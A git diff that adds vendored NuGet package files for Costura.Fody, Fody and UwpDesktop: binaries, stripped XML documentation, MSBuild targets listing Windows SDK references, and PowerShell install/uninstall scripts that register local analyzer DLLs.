diff --git a/packages/Costura.Fody.3.3.3/lib/net40/Costura.dll b/packages/Costura.Fody.3.3.3/lib/net40/Costura.dll
new file mode 100644
index 0000000..aadd6de
Binary files /dev/null and b/packages/Costura.Fody.3.3.3/lib/net40/Costura.dll differ
diff --git a/packages/Costura.Fody.3.3.3/lib/net40/Costura.xml b/packages/Costura.Fody.3.3.3/lib/net40/Costura.xml
new file mode 100644
index 0000000..7e9ca15
--- /dev/null
+++ b/packages/Costura.Fody.3.3.3/lib/net40/Costura.xml
@@ -0,0 +1,18 @@
+
+
+
+ Costura
+
+
+
+
+ Contains methods for interacting with the Costura system.
+
+
+
+
+ Call this to Initialize the Costura system.
+
+
+
+
diff --git a/packages/Costura.Fody.3.3.3/netclassicweaver/Costura.Fody.dll b/packages/Costura.Fody.3.3.3/netclassicweaver/Costura.Fody.dll
new file mode 100644
index 0000000..0fb26cf
Binary files /dev/null and b/packages/Costura.Fody.3.3.3/netclassicweaver/Costura.Fody.dll differ
diff --git a/packages/Costura.Fody.3.3.3/netclassicweaver/Costura.Fody.xcf b/packages/Costura.Fody.3.3.3/netclassicweaver/Costura.Fody.xcf
new file mode 100644
index 0000000..0f0424e
--- /dev/null
+++ b/packages/Costura.Fody.3.3.3/netclassicweaver/Costura.Fody.xcf
@@ -0,0 +1,85 @@
+
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.
+
+
+
+
+ A list of unmanaged 32 bit assembly names to include, delimited with line breaks.
+
+
+
+
+ A list of unmanaged 64 bit assembly names to include, delimited with line breaks.
+
+
+
+
+ The order of preloaded assemblies, delimited with line breaks.
+
+
+
+
+
+ This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.
+
+
+
+
+ Controls if .pdbs for reference assemblies are also embedded.
+
+
+
+
+ Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.
+
+
+
+
+ As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.
+
+
+
+
+ Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.
+
+
+
+
+ Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.
+
+
+
+
+ A list of unmanaged 32 bit assembly names to include, delimited with |.
+
+
+
+
+ A list of unmanaged 64 bit assembly names to include, delimited with |.
+
+
+
+
+ The order of preloaded assemblies, delimited with |.
+
+
+
\ No newline at end of file
diff --git a/packages/Costura.Fody.3.3.3/netstandardweaver/Costura.Fody.dll b/packages/Costura.Fody.3.3.3/netstandardweaver/Costura.Fody.dll
new file mode 100644
index 0000000..86203da
Binary files /dev/null and b/packages/Costura.Fody.3.3.3/netstandardweaver/Costura.Fody.dll differ
diff --git a/packages/Costura.Fody.3.3.3/netstandardweaver/Costura.Fody.xcf b/packages/Costura.Fody.3.3.3/netstandardweaver/Costura.Fody.xcf
new file mode 100644
index 0000000..0f0424e
--- /dev/null
+++ b/packages/Costura.Fody.3.3.3/netstandardweaver/Costura.Fody.xcf
@@ -0,0 +1,85 @@
+
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.
+
+
+
+
+ A list of unmanaged 32 bit assembly names to include, delimited with line breaks.
+
+
+
+
+ A list of unmanaged 64 bit assembly names to include, delimited with line breaks.
+
+
+
+
+ The order of preloaded assemblies, delimited with line breaks.
+
+
+
+
+
+ This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.
+
+
+
+
+ Controls if .pdbs for reference assemblies are also embedded.
+
+
+
+
+ Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.
+
+
+
+
+ As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.
+
+
+
+
+ Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.
+
+
+
+
+ Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.
+
+
+
+
+ A list of unmanaged 32 bit assembly names to include, delimited with |.
+
+
+
+
+ A list of unmanaged 64 bit assembly names to include, delimited with |.
+
+
+
+
+ The order of preloaded assemblies, delimited with |.
+
+
+
\ No newline at end of file
diff --git a/packages/Fody.4.2.1/.signature.p7s b/packages/Fody.4.2.1/.signature.p7s
new file mode 100644
index 0000000..a746b48
Binary files /dev/null and b/packages/Fody.4.2.1/.signature.p7s differ
diff --git a/packages/Fody.4.2.1/Fody.4.2.1.nupkg b/packages/Fody.4.2.1/Fody.4.2.1.nupkg
new file mode 100644
index 0000000..274a99d
Binary files /dev/null and b/packages/Fody.4.2.1/Fody.4.2.1.nupkg differ
diff --git a/packages/Fody.4.2.1/build/Fody.targets b/packages/Fody.4.2.1/build/Fody.targets
new file mode 100644
index 0000000..1007fb7
--- /dev/null
+++ b/packages/Fody.4.2.1/build/Fody.targets
@@ -0,0 +1,106 @@
+
+
+
+ $(ProjectDir)FodyWeavers.xml
+ $(MSBuildThisFileDirectory)..\
+ $(FodyPath)netstandardtask
+ $(FodyPath)netclassictask
+ $(FodyAssemblyDirectory)\Fody.dll
+ $(DefaultItemExcludes);FodyWeavers.xsd
+ true
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/packages/Fody.4.2.1/netclassictask/Fody.dll b/packages/Fody.4.2.1/netclassictask/Fody.dll
new file mode 100644
index 0000000..f3162c7
Binary files /dev/null and b/packages/Fody.4.2.1/netclassictask/Fody.dll differ
diff --git a/packages/Fody.4.2.1/netclassictask/FodyCommon.dll b/packages/Fody.4.2.1/netclassictask/FodyCommon.dll
new file mode 100644
index 0000000..6027c16
Binary files /dev/null and b/packages/Fody.4.2.1/netclassictask/FodyCommon.dll differ
diff --git a/packages/Fody.4.2.1/netclassictask/FodyHelpers.dll b/packages/Fody.4.2.1/netclassictask/FodyHelpers.dll
new file mode 100644
index 0000000..bb99cae
Binary files /dev/null and b/packages/Fody.4.2.1/netclassictask/FodyHelpers.dll differ
diff --git a/packages/Fody.4.2.1/netclassictask/FodyIsolated.dll b/packages/Fody.4.2.1/netclassictask/FodyIsolated.dll
new file mode 100644
index 0000000..40333c2
Binary files /dev/null and b/packages/Fody.4.2.1/netclassictask/FodyIsolated.dll differ
diff --git a/packages/Fody.4.2.1/netclassictask/Mono.Cecil.Mdb.dll b/packages/Fody.4.2.1/netclassictask/Mono.Cecil.Mdb.dll
new file mode 100644
index 0000000..6caa197
Binary files /dev/null and b/packages/Fody.4.2.1/netclassictask/Mono.Cecil.Mdb.dll differ
diff --git a/packages/Fody.4.2.1/netclassictask/Mono.Cecil.Pdb.dll b/packages/Fody.4.2.1/netclassictask/Mono.Cecil.Pdb.dll
new file mode 100644
index 0000000..980d4da
Binary files /dev/null and b/packages/Fody.4.2.1/netclassictask/Mono.Cecil.Pdb.dll differ
diff --git a/packages/Fody.4.2.1/netclassictask/Mono.Cecil.Rocks.dll b/packages/Fody.4.2.1/netclassictask/Mono.Cecil.Rocks.dll
new file mode 100644
index 0000000..1355bb7
Binary files /dev/null and b/packages/Fody.4.2.1/netclassictask/Mono.Cecil.Rocks.dll differ
diff --git a/packages/Fody.4.2.1/netclassictask/Mono.Cecil.dll b/packages/Fody.4.2.1/netclassictask/Mono.Cecil.dll
new file mode 100644
index 0000000..6091c47
Binary files /dev/null and b/packages/Fody.4.2.1/netclassictask/Mono.Cecil.dll differ
diff --git a/packages/Fody.4.2.1/netstandardtask/Fody.dll b/packages/Fody.4.2.1/netstandardtask/Fody.dll
new file mode 100644
index 0000000..975188f
Binary files /dev/null and b/packages/Fody.4.2.1/netstandardtask/Fody.dll differ
diff --git a/packages/Fody.4.2.1/netstandardtask/FodyCommon.dll b/packages/Fody.4.2.1/netstandardtask/FodyCommon.dll
new file mode 100644
index 0000000..2decf1d
Binary files /dev/null and b/packages/Fody.4.2.1/netstandardtask/FodyCommon.dll differ
diff --git a/packages/Fody.4.2.1/netstandardtask/FodyHelpers.dll b/packages/Fody.4.2.1/netstandardtask/FodyHelpers.dll
new file mode 100644
index 0000000..e3e784b
Binary files /dev/null and b/packages/Fody.4.2.1/netstandardtask/FodyHelpers.dll differ
diff --git a/packages/Fody.4.2.1/netstandardtask/FodyIsolated.dll b/packages/Fody.4.2.1/netstandardtask/FodyIsolated.dll
new file mode 100644
index 0000000..44f0c08
Binary files /dev/null and b/packages/Fody.4.2.1/netstandardtask/FodyIsolated.dll differ
diff --git a/packages/Fody.4.2.1/netstandardtask/Mono.Cecil.Mdb.dll b/packages/Fody.4.2.1/netstandardtask/Mono.Cecil.Mdb.dll
new file mode 100644
index 0000000..ca53b7f
Binary files /dev/null and b/packages/Fody.4.2.1/netstandardtask/Mono.Cecil.Mdb.dll differ
diff --git a/packages/Fody.4.2.1/netstandardtask/Mono.Cecil.Pdb.dll b/packages/Fody.4.2.1/netstandardtask/Mono.Cecil.Pdb.dll
new file mode 100644
index 0000000..e81b2f8
Binary files /dev/null and b/packages/Fody.4.2.1/netstandardtask/Mono.Cecil.Pdb.dll differ
diff --git a/packages/Fody.4.2.1/netstandardtask/Mono.Cecil.Rocks.dll b/packages/Fody.4.2.1/netstandardtask/Mono.Cecil.Rocks.dll
new file mode 100644
index 0000000..2b2652b
Binary files /dev/null and b/packages/Fody.4.2.1/netstandardtask/Mono.Cecil.Rocks.dll differ
diff --git a/packages/Fody.4.2.1/netstandardtask/Mono.Cecil.dll b/packages/Fody.4.2.1/netstandardtask/Mono.Cecil.dll
new file mode 100644
index 0000000..61ddfd1
Binary files /dev/null and b/packages/Fody.4.2.1/netstandardtask/Mono.Cecil.dll differ
diff --git a/packages/UwpDesktop.10.0.14393.3/.signature.p7s b/packages/UwpDesktop.10.0.14393.3/.signature.p7s
new file mode 100644
index 0000000..1f19e85
Binary files /dev/null and b/packages/UwpDesktop.10.0.14393.3/.signature.p7s differ
diff --git a/packages/UwpDesktop.10.0.14393.3/UwpDesktop.10.0.14393.3.nupkg b/packages/UwpDesktop.10.0.14393.3/UwpDesktop.10.0.14393.3.nupkg
new file mode 100644
index 0000000..a857bea
Binary files /dev/null and b/packages/UwpDesktop.10.0.14393.3/UwpDesktop.10.0.14393.3.nupkg differ
diff --git a/packages/UwpDesktop.10.0.14393.3/analyzers/dotnet/UwpDesktopAnalyzer.dll b/packages/UwpDesktop.10.0.14393.3/analyzers/dotnet/UwpDesktopAnalyzer.dll
new file mode 100644
index 0000000..804e541
Binary files /dev/null and b/packages/UwpDesktop.10.0.14393.3/analyzers/dotnet/UwpDesktopAnalyzer.dll differ
diff --git a/packages/UwpDesktop.10.0.14393.3/build/portable-net45+uap/UwpDesktop.targets b/packages/UwpDesktop.10.0.14393.3/build/portable-net45+uap/UwpDesktop.targets
new file mode 100644
index 0000000..3d265e2
--- /dev/null
+++ b/packages/UwpDesktop.10.0.14393.3/build/portable-net45+uap/UwpDesktop.targets
@@ -0,0 +1,191 @@
+
+
+
+
+ False
+ $(MSBuildProgramFiles32)\Reference Assemblies\Microsoft\Framework\.NETCore\v4.5\System.Runtime.WindowsRuntime.dll
+
+
+ False
+ $(MSBuildProgramFiles32)\Reference Assemblies\Microsoft\Framework\.NETCore\v4.5\System.Runtime.WindowsRuntime.UI.Xaml.dll
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\UnionMetadata\Facade\Windows.WinMD
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.Calls.CallsVoipContract\1.0.0.0\Windows.ApplicationModel.Calls.CallsVoipContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.SocialInfo.SocialInfoContract\1.0.0.0\Windows.ApplicationModel.SocialInfo.SocialInfoContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Devices.DevicesLowLevelContract\2.0.0.0\Windows.Devices.DevicesLowLevelContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Devices.Printers.PrintersContract\1.0.0.0\Windows.Devices.Printers.PrintersContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Foundation.FoundationContract\2.0.0.0\Windows.Foundation.FoundationContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Foundation.UniversalApiContract\3.0.0.0\Windows.Foundation.UniversalApiContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Graphics.Printing3D.Printing3DContract\3.0.0.0\Windows.Graphics.Printing3D.Printing3DContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Networking.Connectivity.WwanContract\1.0.0.0\Windows.Networking.Connectivity.WwanContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Services.Store.StoreContract\1.0.0.0\Windows.Services.Store.StoreContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.System.Profile.ProfileHardwareTokenContract\1.0.0.0\Windows.System.Profile.ProfileHardwareTokenContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.System.Profile.ProfileSharedModeContract\1.0.0.0\Windows.System.Profile.ProfileSharedModeContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.UI.ViewManagement.ViewManagementViewScalingContract\1.0.0.0\Windows.UI.ViewManagement.ViewManagementViewScalingContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.Activation.ActivatedEventsContract\1.0.0.0\Windows.ApplicationModel.Activation.ActivatedEventsContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.Activation.ActivationCameraSettingsContract\1.0.0.0\Windows.ApplicationModel.Activation.ActivationCameraSettingsContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.Activation.ContactActivatedEventsContract\1.0.0.0\Windows.ApplicationModel.Activation.ContactActivatedEventsContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.Activation.WebUISearchActivatedEventsContract\1.0.0.0\Windows.ApplicationModel.Activation.WebUISearchActivatedEventsContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.Background.BackgroundAlarmApplicationContract\1.0.0.0\Windows.ApplicationModel.Background.BackgroundAlarmApplicationContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.Calls.Background.CallsBackgroundContract\1.0.0.0\Windows.ApplicationModel.Calls.Background.CallsBackgroundContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.Calls.LockScreenCallContract\1.0.0.0\Windows.ApplicationModel.Calls.LockScreenCallContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.FullTrustAppContract\1.0.0.0\Windows.ApplicationModel.FullTrustAppContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.Preview.Notes.PreviewNotesContract\1.0.0.0\Windows.ApplicationModel.Preview.Notes.PreviewNotesContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.Resources.Management.ResourceIndexerContract\1.0.0.0\Windows.ApplicationModel.Resources.Management.ResourceIndexerContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.Search.Core.SearchCoreContract\1.0.0.0\Windows.ApplicationModel.Search.Core.SearchCoreContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.Search.SearchContract\1.0.0.0\Windows.ApplicationModel.Search.SearchContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.StartupTaskContract\1.0.0.0\Windows.ApplicationModel.StartupTaskContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.ApplicationModel.Wallet.WalletContract\1.0.0.0\Windows.ApplicationModel.Wallet.WalletContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Devices.Custom.CustomDeviceContract\1.0.0.0\Windows.Devices.Custom.CustomDeviceContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Devices.Portable.PortableDeviceContract\1.0.0.0\Windows.Devices.Portable.PortableDeviceContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Devices.Printers.Extensions.ExtensionsContract\2.0.0.0\Windows.Devices.Printers.Extensions.ExtensionsContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Devices.Scanners.ScannerDeviceContract\1.0.0.0\Windows.Devices.Scanners.ScannerDeviceContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Devices.Sms.LegacySmsApiContract\1.0.0.0\Windows.Devices.Sms.LegacySmsApiContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Gaming.Preview.GamesEnumerationContract\1.0.0.0\Windows.Gaming.Preview.GamesEnumerationContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Globalization.GlobalizationJapanesePhoneticAnalyzerContract\1.0.0.0\Windows.Globalization.GlobalizationJapanesePhoneticAnalyzerContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Management.Deployment.Preview.DeploymentPreviewContract\1.0.0.0\Windows.Management.Deployment.Preview.DeploymentPreviewContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Management.Orchestration.OrchestrationContract\1.0.0.0\Windows.Management.Orchestration.OrchestrationContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Management.Workplace.WorkplaceSettingsContract\1.0.0.0\Windows.Management.Workplace.WorkplaceSettingsContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Media.Capture.AppCaptureContract\3.0.0.0\Windows.Media.Capture.AppCaptureContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Media.Capture.CameraCaptureUIContract\1.0.0.0\Windows.Media.Capture.CameraCaptureUIContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Media.Devices.CallControlContract\1.0.0.0\Windows.Media.Devices.CallControlContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Media.MediaControlContract\1.0.0.0\Windows.Media.MediaControlContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Media.Playlists.PlaylistsContract\1.0.0.0\Windows.Media.Playlists.PlaylistsContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Media.Protection.ProtectionRenewalContract\1.0.0.0\Windows.Media.Protection.ProtectionRenewalContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Networking.NetworkOperators.LegacyNetworkOperatorsContract\1.0.0.0\Windows.Networking.NetworkOperators.LegacyNetworkOperatorsContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Networking.Sockets.ControlChannelTriggerContract\2.0.0.0\Windows.Networking.Sockets.ControlChannelTriggerContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Perception.Automation.Core.PerceptionAutomationCoreContract\1.0.0.0\Windows.Perception.Automation.Core.PerceptionAutomationCoreContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Security.EnterpriseData.EnterpriseDataContract\3.0.0.0\Windows.Security.EnterpriseData.EnterpriseDataContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Security.ExchangeActiveSyncProvisioning.EasContract\1.0.0.0\Windows.Security.ExchangeActiveSyncProvisioning.EasContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Services.Maps.GuidanceContract\2.0.0.0\Windows.Services.Maps.GuidanceContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Services.Maps.LocalSearchContract\3.0.0.0\Windows.Services.Maps.LocalSearchContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.System.Profile.SystemManufacturers.SystemManufacturersContract\1.0.0.0\Windows.System.Profile.SystemManufacturers.SystemManufacturersContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.System.Profile.ProfileRetailInfoContract\1.0.0.0\Windows.System.Profile.ProfileRetailInfoContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.System.UserProfile.UserProfileContract\1.0.0.0\Windows.System.UserProfile.UserProfileContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.System.UserProfile.UserProfileLockScreenContract\1.0.0.0\Windows.System.UserProfile.UserProfileLockScreenContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.UI.ApplicationSettings.ApplicationsSettingsContract\1.0.0.0\Windows.UI.ApplicationSettings.ApplicationsSettingsContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.UI.Core.AnimationMetrics.AnimationMetricsContract\1.0.0.0\Windows.UI.Core.AnimationMetrics.AnimationMetricsContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.UI.Core.CoreWindowDialogsContract\1.0.0.0\Windows.UI.Core.CoreWindowDialogsContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.UI.Xaml.Hosting.HostingContract\1.0.0.0\Windows.UI.Xaml.Hosting.HostingContract.winmd
+
+
+ $(MSBuildProgramFiles32)\Windows Kits\10\References\Windows.Web.Http.Diagnostics.HttpDiagnosticsContract\2.0.0.0\Windows.Web.Http.Diagnostics.HttpDiagnosticsContract.winmd
+
+
+
+
diff --git a/packages/UwpDesktop.10.0.14393.3/tools/install.ps1 b/packages/UwpDesktop.10.0.14393.3/tools/install.ps1
new file mode 100644
index 0000000..8178834
--- /dev/null
+++ b/packages/UwpDesktop.10.0.14393.3/tools/install.ps1
@@ -0,0 +1,49 @@
+param($installPath, $toolsPath, $package, $project)
+
+$analyzersPaths = Join-Path (Join-Path (Split-Path -Path $toolsPath -Parent) "analyzers" ) * -Resolve
+
+foreach($analyzersPath in $analyzersPaths)
+{
+ # Install the language agnostic analyzers.
+ if (Test-Path $analyzersPath)
+ {
+ foreach ($analyzerFilePath in Get-ChildItem $analyzersPath -Filter *.dll)
+ {
+ if($project.Object.AnalyzerReferences)
+ {
+ $project.Object.AnalyzerReferences.Add($analyzerFilePath.FullName)
+ }
+ }
+ }
+}
+
+# $project.Type gives the language name like (C# or VB.NET)
+$languageFolder = ""
+if($project.Type -eq "C#")
+{
+ $languageFolder = "cs"
+}
+if($project.Type -eq "VB.NET")
+{
+ $languageFolder = "vb"
+}
+if($languageFolder -eq "")
+{
+ return
+}
+
+foreach($analyzersPath in $analyzersPaths)
+{
+ # Install language specific analyzers.
+ $languageAnalyzersPath = join-path $analyzersPath $languageFolder
+ if (Test-Path $languageAnalyzersPath)
+ {
+ foreach ($analyzerFilePath in Get-ChildItem $languageAnalyzersPath -Filter *.dll)
+ {
+ if($project.Object.AnalyzerReferences)
+ {
+ $project.Object.AnalyzerReferences.Add($analyzerFilePath.FullName)
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/packages/UwpDesktop.10.0.14393.3/tools/uninstall.ps1 b/packages/UwpDesktop.10.0.14393.3/tools/uninstall.ps1
new file mode 100644
index 0000000..9130bcb
--- /dev/null
+++ b/packages/UwpDesktop.10.0.14393.3/tools/uninstall.ps1
@@ -0,0 +1,56 @@
+param($installPath, $toolsPath, $package, $project)
+
+$analyzersPaths = Join-Path (Join-Path (Split-Path -Path $toolsPath -Parent) "analyzers" ) * -Resolve
+
+foreach($analyzersPath in $analyzersPaths)
+{
+ # Uninstall the language agnostic analyzers.
+ if (Test-Path $analyzersPath)
+ {
+ foreach ($analyzerFilePath in Get-ChildItem $analyzersPath -Filter *.dll)
+ {
+ if($project.Object.AnalyzerReferences)
+ {
+ $project.Object.AnalyzerReferences.Remove($analyzerFilePath.FullName)
+ }
+ }
+ }
+}
+
+# $project.Type gives the language name like (C# or VB.NET)
+$languageFolder = ""
+if($project.Type -eq "C#")
+{
+ $languageFolder = "cs"
+}
+if($project.Type -eq "VB.NET")
+{
+ $languageFolder = "vb"
+}
+if($languageFolder -eq "")
+{
+ return
+}
+
+foreach($analyzersPath in $analyzersPaths)
+{
+ # Uninstall language specific analyzers.
+ $languageAnalyzersPath = join-path $analyzersPath $languageFolder
+ if (Test-Path $languageAnalyzersPath)
+ {
+ foreach ($analyzerFilePath in Get-ChildItem $languageAnalyzersPath -Filter *.dll)
+ {
+ if($project.Object.AnalyzerReferences)
+ {
+ try
+ {
+ $project.Object.AnalyzerReferences.Remove($analyzerFilePath.FullName)
+ }
+ catch
+ {
+
+ }
+ }
+ }
+ }
+}
\ No newline at end of file